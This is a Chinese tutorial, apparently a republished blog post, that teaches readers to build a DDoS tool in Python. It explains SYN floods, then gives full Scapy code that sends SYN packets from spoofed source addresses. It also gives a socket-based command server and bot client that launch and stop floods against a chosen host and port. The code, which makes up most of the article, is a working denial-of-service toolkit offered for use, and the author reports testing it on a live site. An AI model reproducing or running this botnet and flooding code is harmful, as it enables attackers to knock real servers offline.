python3网站攻击_Python实现DDos攻击实例详解

news/2024/5/9 20:13:55/文章来源:https://blog.csdn.net/weixin_39532421/article/details/109859019

SYN 泛洪攻击

SYN泛洪攻击是一种比较常用的Dos方式之一。通过发送大量伪造的 TCP 连接请求,使被攻击主机资源耗尽(通常是 CPU 满负荷或内存不足)的攻击方式

我们都知道建立 TCP 连接需要三次握手。正常情况下客户端首先向服务器端发送SYN报文,随后服务端返回以SYN+ACK报文,最后客户端向服务端发送ACK报文完成三次握手

201922100057647.png?20191210110

而SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理 TCP 请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务

Scapy3k 基本用法

Scapy3k其实就是Scapy的 Python3 版本,以下简称Scapy。Scapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试重应用非常广泛。Scapy是一个独立的程序同时还可以作为 Python 的第三方库使用

首先安装Scapy3k,Windows 不方便,下面的操作我都是在 Linux 中进行的

sudo pip install scapy

201922100143910.jpg?20191210312

运行scapy

sudo scapy

201922100527952.jpg?20191210642

因为Scapy发送数据包需要root权限,所以这里加上sudo。另外运行的时候会出现一些警告信息,因为没有安装相应的依赖包,不过暂时用不到,所以不用管

接下来我们用Scapy构造一个简单的数据包

pkt = IP(dst = "192.168.50.10")

201922100722270.png?20191210731

接下来构造SYN数据包,并发送出去

pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S")

send(pkt)

我们构造了一个 IP 包和 TCP 包,并将它们组合到一块,这样就有了一个完整的 TCP 数据包,否则是无法发送出去的。IP 包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,这也是保护攻击者的一种方式。flags的值设定为S,说明我们要发送的是一个SYN数据包。非常简单的一段指令就够早了一个伪造了源 IP 地址的SYN数据包

201922100806939.png?20191210814

代码实现

现在我们要用 Python 以第三方库的形式使用Scapy,使用方法和用交互式 Shell 的方式一样

前面我们构造了SYN数据包,现在需要实现随机伪造源 IP 地址、以及不同的源端口向目标主机发送SYN数据包:

import random

from scapy.all import *

def synFlood(tgt,dPort):

srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']

for sPort in range(1024,65535):

index = random.randrange(4)

ipLayer = IP(src=srcList[index], dst=tgt)

tcpLayer = TCP(sport=sPort, dport = dPort, flags="S")

packet = ipLayer / tcpLayer

send(packet)

DDos 实现思路

前面我们已经实现了SYN泛洪攻击,而DDos则是多台主机一起发起攻击,我们只需要能发送命令,让连接到服务器的客户端一起向同一目标发起攻击就可以了

世界最大的黑客组织Anonymous经常使用LOIC(low Orbit Ion Cannon,滴轨道离子炮)进行大规模的DDos。LOIC有个HIVEMIND模式,用户可以通过连接到一台 IRC 服务器,当有用户发送命令,任何以HIVEMIND模式连接到 IRC 服务器的成员都会立即攻击该目标

这种方式的优点事不需要傀儡机,可以有很多 "志同道合" 的人一起帮助你实现DDos,不过不太适合在傀儡机中使用。当然实现思路有很多,根据不同情况的选择也会不同。而这里我们将采用客户端、服务器的方式来实现DDos,这种方式非常简单,可扩展性也比较强

201922100848795.png?20191210857

argparse 模块

由于 Server 端需要发送命令去控制 Client 端发起攻击,所以这里我们先规定好命令格式

#-H xxx.xxx.xxx.xxx -p xxxx -c

-H后面是被攻击主机的 IP 地址,-p指定被攻击的端口号,-c控制攻击的开始与停止

命令制定好了,接下来看一下如何使用命令解析库argparse

# Import argparse package

import argparse

# New ArgumentParser object

parser = argparse.ArgumentParser(description="Process some integers.")

# Add parameter

parser.add_argument('-p', dest='port', type = int, help = 'An port number!')

# Parse command line arguments

args = parser.parse_args()

print("Port:",args.port)

上面的代码中,我们创建了一个ArgumentParser对象,description参数是对命令行解析的一个描述信息,通常在我们使用-h命令的时候显示。add_argument添加我们要解析的参数,这里我们只添加了一个-p参数,dest是通过parse_args()函数返回的对象中的一个属性名称。type就是解析参数的类型。help指定的字符串是为了生成帮助信息。argparse默认就支持-h参数,只要我们在添加参数的时候指定help的值就可以生成帮助信息了

socket 模块

Python 中的socket提供了访问 BSDsocket的接口,可以非常方便的实现网络中的信息交换。通常我们使用socket的时候需要指定ip地址、端口号、协议类型。在进行socket编程之前我们先了解一下客户端(Client)和服务器(Server)的概念。通俗的讲,主动发起连接请求的称为客户端,监听端口响应连接的称为服务器。下面我写一个客户端和服务器的例子:

客户端

# Import socket package

import socket

# Create socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Establish connection

s.connect(('192.168.0.100', 7786))

上面这个例子我们首先导入 socket 库,然后创建了一个 socket 对象,socket 对象中的参数AF_INET表示我们使用的是 IPV4 协议,SOCK_STREAM则表示我们使用的是基于流的 TCP 协议。最后我们指定ip地址和端口号建立连接

服务器

# Import socket package

import socket

cliList = []

# Create socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Specify IP & Port

s.bind(('0.0.0.0', 7786))

# Strat monitor

s.listen(10)

while True:

# Receive a new connection

sock, addr = s.accept()

# Add sock to the list

cliList.append(sock)

服务器的写法比客户端稍微复杂一些,在创建完 socket 之后,要绑定一个地址和端口,这里的0.0.0.0表示绑定到所有的网络地址,端口号只要是没被占用的就可以。之后开始监听端口,并在参数中指定最大连接数为 10。最后循环等待新的连接,并将已连接的 socket 对象添加到列表中。更多相关细节可以查看 Python 官方文档

代码实现

Server 端

由于 Server 端能等待 Client 主动连接,所以我们在 Server 端发送命令,控制 Client 端发起SYN泛洪攻击

在主函数中我们创建 socket,绑定所有网络地址和58868端口并开始监听,之后我们新开一个线程来等待客户端的连接,以免阻塞我们输入命令

def main():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('0.0.0.0', 58868))

s.listen(1024)

t = Thread(target=waitConnect,args(s,))

t.start()

由于我们要给所有客户端发送命令,所以我们在新开的线程中将连接进来的 socket 添加到一个 list 中,这个稍后介绍,但在主函数中我们第一次输入命令之前需要至少有一个客户端链接到服务器,所以这里我判断了一下socket的长度

print('Wait at least a client connection!')

while not len(socketList):

pass

print('It has been a client connection!')

现在循环等待输入命令,输入之后判断命令是否满足命令格式的基本要求,如果满足,就把命令发送给所有客户端

while True:

print("=" * 50)

print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c "')

# Wait for input command

cmd_str = input('Please input cmd:')

if len(cmd_str):

if cmd_str[0] == '#':

sendCmd(cmd_str)

现在程序的大体框架已经有了,接下来编写主函数中没有完成的子功能。首先我们应该实现等待客户端的函数,方便开启新的线程

在这个函数中,我们只需要循环等待客户端的连接就可以,新连接的 socket 要判断一下是否在 socketList 中已经存储过了,如果没有,就添加到 socketList 中

# wait connection

def waitConnect(s):

while True:

sock, addr = s.accept()

if sock not in socketList:

socketList.append(socket)

我们再来实现发送命令的函数,这个函数会遍历 socketList,将每个 socket 都调用一次 send 将命令发送出去

# send command

def sendCmd(cmd):

print("Send command......")

for sock in socketList:

sock.send(cmd.encode = ('UTF-8'))

至此我们的Server端就完成了。新建一个文件,将其命名为ddosSrv.py,向其中添加如下代码

import socket

import argparse

from threading import Thread

socketList = []

# Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c '

# Send command

def sendCmd(cmd):

print("Send command......")

for sock in socketList:

sock.send(cmd.encode('UTF-8'))

# Wait connect

def waitConnect(s):

while True:

sock, addr = s.accept()

if sock not in socketList:

socketList.append(sock)

def main():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('0.0.0.0', 58868))

s.listen(1024)

t = Thread(target = waitConnect, args = (s, ))

t.start()

print('Wait at least a client connection!')

while not len(socketList):

pass

print('It has been a client connection!')

while True:

print('=' * 50)

print('The command format:"#-H xxx.xxx.xxx.xxx -p xxx -c "')

# Wait for input command

cmd_str = input("Please input cmd:")

if len(cmd_str):

if cmd_str[0] == '#':

sendCmd(cmd_str)

if __name__ == '__main__':

main()

Client 端

我们将在 Client 端实现对主机的SYN泛洪攻击,并在脚本启动后主动连接 Server 端,等待 Server 端发送命令

在主函数中我们先创建ArgumentParser()对象,并将需要解析的命令参数添加好

def main():

p = argparse.ArgumentParser()

p.add_argument('-H', dest = 'host', type = str)

p.add_argument('-p', dest = 'port', type = int)

p.add_argument('-c', dest = 'cmd', type = str)

现在可以创建 socket,连接服务器了。这里为了测试,我们连接到本地的 58868 端口

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('127.0.0.1', 58868))

print('To connected server was success!')

print('=' * 50)

cmdHandle(s, p)

except:

print('The network connected failed!')

print('Please restart the script!')

sys.exit(0)

我们将接受命令和处理命令定义在一个单独的函数中。这里我们使用一个全局变量,用于判断是否有进程正在发起SYN泛洪攻击。之后就开始循环接收命令了,接收道德数据是byte型,我们需要对其进行解码,解码之后才是字符串。如果接收到的数据长度为 0,就跳过后续的内容,重新接收数据

# Process command

def cmdHandle(sock, parser):

global curProcess

while True:

# Receive command

data = sock.recv(1024).decode('UTF-8')

if len(data) == 0:

print('The data is empty')

continue;

如果数据长度不为 0,就判断是否具有命令基本格式的特征#,满足基本条件就需要用ArgumentParser对象来解析命令

if data[0] == '#':

try:

# Parse command

options = parser.parse_args(data[1:].split())

m_host = options.host

m_port = options.port

m_cmd = options.cmd

命令参数解析出来后,还需要判断到底是start命令还是stop命令。如果是start命令,首先要判断当前是否有进程在运行,如果有进程判断进程是否存活。如果当前有进程正在发起SYN泛洪攻击,我们就先结束这个进程,并清空屏幕,然后再启动一个进程,发起SYN泛洪攻击

# DDos start command

if m_cmd.lower() == 'start':

if curProcess != None and curprocess.is_alive():

# End of process

curProcess.terminate()

curProcess = None

os.system('clear')

print('The synFlood is start')

p = Process(target = synFlood, args = (m_host, m_port))

p.start()

curProcess = p

如果命令是stop,并且有进程存活,就直接结束这个进程,并清空屏幕,否则就什么也不做

# DDos stop command

elif m_cmd.lower() == 'stop':

if curProcess.is_alive():

curProcess.terminate()

os.system('clear')

except:

print('Failed to perform the command!')

最后,新建一个文件,命名为ddosCli.py,向其中添加如下代码

# -*- coding: utf-8 -*-

import sys

import socket

import random

import argparse

from multiprocessing import Process

from scapy.all import *

import os

isWorking = False

curProcess = None

# SYN flood attack

def synFlood(tgt,dPort):

print('='*100)

print('The syn flood is running!')

print('='*100)

srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']

for sPort in range(1024,65535):

index = random.randrange(4)

ipLayer = IP(src=srcList[index], dst=tgt)

tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")

packet = ipLayer / tcpLayer

send(packet)

# Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c '

# Process command

def cmdHandle(sock,parser):

global curProcess

while True:

# Receive command

data = sock.recv(1024).decode('utf-8')

if len(data) == 0:

print('The data is empty')

return

if data[0] == '#':

try:

# Parse command

options = parser.parse_args(data[1:].split())

m_host = options.host

m_port = options.port

m_cmd = options.cmd

# DDos start command

if m_cmd.lower() == 'start':

if curProcess != None and curProcess.is_alive():

curProcess.terminate()

curProcess = None

os.system('clear')

print('The synFlood is start')

p = Process(target=synFlood,args=(m_host,m_port))

p.start()

curProcess = p

# DDos stop command

elif m_cmd.lower() =='stop':

if curProcess.is_alive():

curProcess.terminate()

os.system('clear')

except:

print('Failed to perform the command!')

def main():

# Add commands that need to be parsed

p = argparse.ArgumentParser()

p.add_argument('-H', dest='host', type=str)

p.add_argument('-p', dest='port', type=int)

p.add_argument('-c', dest='cmd', type=str)

print("*" * 40)

try:

# Create socket object

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# Connect to Server

s.connect(('127.0.0.1',58868))

print('To connected server was success!')

print("=" * 40)

# Process command

cmdHandle(s,p)

except:

print('The network connected failed!')

print('Please restart the script!')

sys.exit(0)

if __name__ == '__main__':

main()

程序测试

首先运行Server端脚本:

sudo python3 ddosSrv.py

然后再运行Client端脚本,一定要用root权限运行

此时可以看到Client端已经提示连接成功了

201922101257531.png?20191210137

Server端也提示有一个客户端连接了

201922101339373.png?201912101345

输入一个命令测试一下,这里我以我自己的博客为目标进行测试,各位请遵守网络安全法

201922101352808.png?201912101358

看到Client端已经开始发送数据包了,说明已经发起了SYN泛洪攻击

后记

scapy库是基于 python2 的,如果是 python3,应该使用kamene,详情可以参考 kamene 官方文档和 scapy 官方文档

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_788198.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

node获取图片路径_在Node.js上接入Paddle Lite,让你的网站具备AI推理能力

【飞桨开发者说】李睿,北京邮电大学学生,人工智能和移动开发爱好者。随着桌面端Electron技术逐步崛起,基于Electron开发的代码编辑器、聊天软件、游戏等层出不穷。对于习惯使用Node.js进行后端开发的朋友来说,开发一套漂亮的桌面U…

bootstrap获取下拉框数据_网站SEO优化推广关键词可以通过哪些途径获取,分析百度搜索原理...

一、百度下拉框,从百度下拉框里可以获取用户在搜索引擎搜索过的关键词,这类词符合用户的搜索习惯。二、百度相关搜索,在搜索引擎页面底部,有个百度相关搜索,这些词也可以选择,这是百度算法根据用户浏览过的…

静态网站生成器

静态网站生成器 静态网站相比动态网站具备无需依赖应用服务器,性能优越,部署简单等特点。特别适合生成静态文档,个人博客,饱受开发者的青睐。相比学会使用,掌握工作原理也尤为重要。 一个静态网站生成器的工作流程通…

SEO优化来了

搜索引擎工作原理 当我们在输入框中输入关键词,点击搜索或查询时,然后得到结果。深究其背后的故事,搜索引擎做了很多事情。 在搜索引擎网站,比如百度,在其后台有一个非常庞大的数据库,里面存储了海量的关…

织梦网站地图更新自由列表html,织梦自由列表更新使用教程

当我们用织梦网站建立了一个自由列表后就相当于建立了一个类似其它栏目的一个列表,跟其它栏目建立了一个最终列表页一样,当建立完自由列表后,也需要生成列表html,也就是自由列表的更新,如下图所示:(此图片来…

大型网站架构演变和知识体系(转)

之前也有一些介绍大型网站架构演变的文章,例如LiveJournal的、ebay的,都是非常值得参考的,不过感觉他们讲的更多的是每次演变的结果,而没有很详细的讲为什么需要做这样的演变,再加上近来感觉有不少同学都很难明白为什么…

http 升级 https 影响原来的链接吗_http切换https的SEO完美解决办法

对于网站http协议切换为https协议,这不仅仅能够提升网站的安全度,还可以提升网站在搜索引擎的权重。因为像百度针对https协议的站点有明确的提权政策。百度认为更加安全的站点应该获得更优质的展现,进而给予优先展示。那么针对SEO的工作而言&…

nofollow标签_网站被加上nofollow对SEO有什么危害?网站nofollow标签知多少?

关于以上问题我总结了一下网上比较优秀的关于nofollow的文章,希望能对新手有所帮助nofollow标签的介绍nofollow是一个HTML标签的属性值,nofollow 是一个HTML标签的属性值。它的出现为网站管理员提供了一种方式,即告诉搜索引擎“不要追踪此网页…

php源码仿三一重工,仿三一重工大气企业网站php源码

大小:21.55M编码:GBK简体类别:机械电子★模板介绍★源码名称:仿三一重工大气企业网站php源码仿三一重工大气企业网站php源码,测试完整无错,兼容主流浏览器。模板包含安装说明,并包含测试数据。本…

如何查询一个网站的服务器大小写,网站页面的大小写

网站页面的大小写 内容精选换一换云速建站不支持自适应宽度,推荐使用网站宽度为1200px,设置方法请参考网站基础设置。将空白处下方的模块或页脚整体上移,遮盖住空白处,然后保存修改。云速建站没有固定长度,网页的长度取…

在内网打造可以从外网访问的网站和服务

最近在内网建了一个简单的网站,利用路由器,使网站可以从外网访问。 首先利用appserv套件搭建一个phpmysqlapchephpmyadmin环境,安装十分简单,直接下一步就行了,中途可能要填写网络端口和Mysql数据库密码,网…

iis运行html提示500错误,IIS发布网站出现Http—500错误

IIS服务器可以作为一个Web服务器单独使用,也可以与相兼容的工具一起使用,它可以用来建立Internet商务、访问和操作来自不同数据源的数据以及创建Web应用程序,其中这些应用程序利用服务器脚本和组件代码来完成一些客户-服务器功能。客户端访问…

一键seo提交收录_Api提交百度搜索进行文章收录-网站SEO

网站内容如果想被搜索引擎(百度/google)收录,除了提供robots.txt等着爬虫来爬以外,如果想最快的被百度收录可以在熊掌号平台进行注册,可以通过在平台上进行页面改造、站点同步等方式提高百度收录,但是最有效的方式是使用api主动向…

网站互点排名掉了网站互点排名掉了网站互点_影响网站关键词排名不稳定的6个因素及优化建议...

很多站长朋友消耗大量的时间成本,人力成本做网站关键词排名,并让排名达到理想状况,却发现网站关键词排名不稳定,时上时下,飘忽不定。针对这种情况,建议站长或seo优化人员针对排名不稳定的原因做具体分析&am…

做服务器_美国站群服务器做网站优化效果怎么样

我们接触过不同的服务器,普通的网站服务器,高配的游戏服务器,金融行业的抗攻击服务器,多IP服务器等等。说到多IP服务器,可能第一时间就会想到站群服务器。众所周知,在早些时候,很多企业站长都会…

python爬取新闻网站内容_python快速抓取新闻标题及内容

原博文 2018-10-25 20:17 − from newspaper import Article url 你想要爬取的网站url news Article(url, languagezh) news .download() #先下载 news .parse() #再解析 print(news.text) #新闻正文 ... 相关推荐 2019-09-28 21:13 − Python python是一种跨平台的计算机程序…

网站怎么判断aps还是php,如何判断一个网站是否为wordpress制作的多种方法

教大家如何识别一个网站是否为wordpress程序搭建的。其实大家要知道wordpress程序本身有很多地方都泄露了自己的身份,那么我们只要一个一个去对比即可知道程序是否为wordpress搭建的了。方法一:借助站长平台http状态查询工具来判断网站是否为wordpress搭…

词根词缀词典_12个在线英语词典和工具网站,英语学习必备!

“工欲善其事,必先利其器”,作为英语学习者,手边一定少不了常用学习工具。今天,小编整理了12个在线英语词典和工具网站,推荐给大家,相信一定会帮助提升你的英语水平,给你带来big surprise!几个常…

网站ftp无法连接到服务器地址,ftp命令连接到服务器地址

ftp命令连接到服务器地址 内容精选换一换遇到该问题,参考以下步骤排查解决。如果在,执行2。如果不在,需要重新创建弹性云服务器实例,使之和GaussDB(for MySQL)实例在同一个虚拟私有云下。如果有,检查安全组的配置规则是…

旅游类电子商务网站规划书_旅游管理,一个读书时好玩、就业时抢手的热门专业...

当今时代,旅游已成为人们日常生活的"必需品"。世界那么大,你都去过哪儿?有一个专业,上知天文下知地理;有一个专业,食住行游购娱随心而走;有一个专业,每天工作在世界的不同…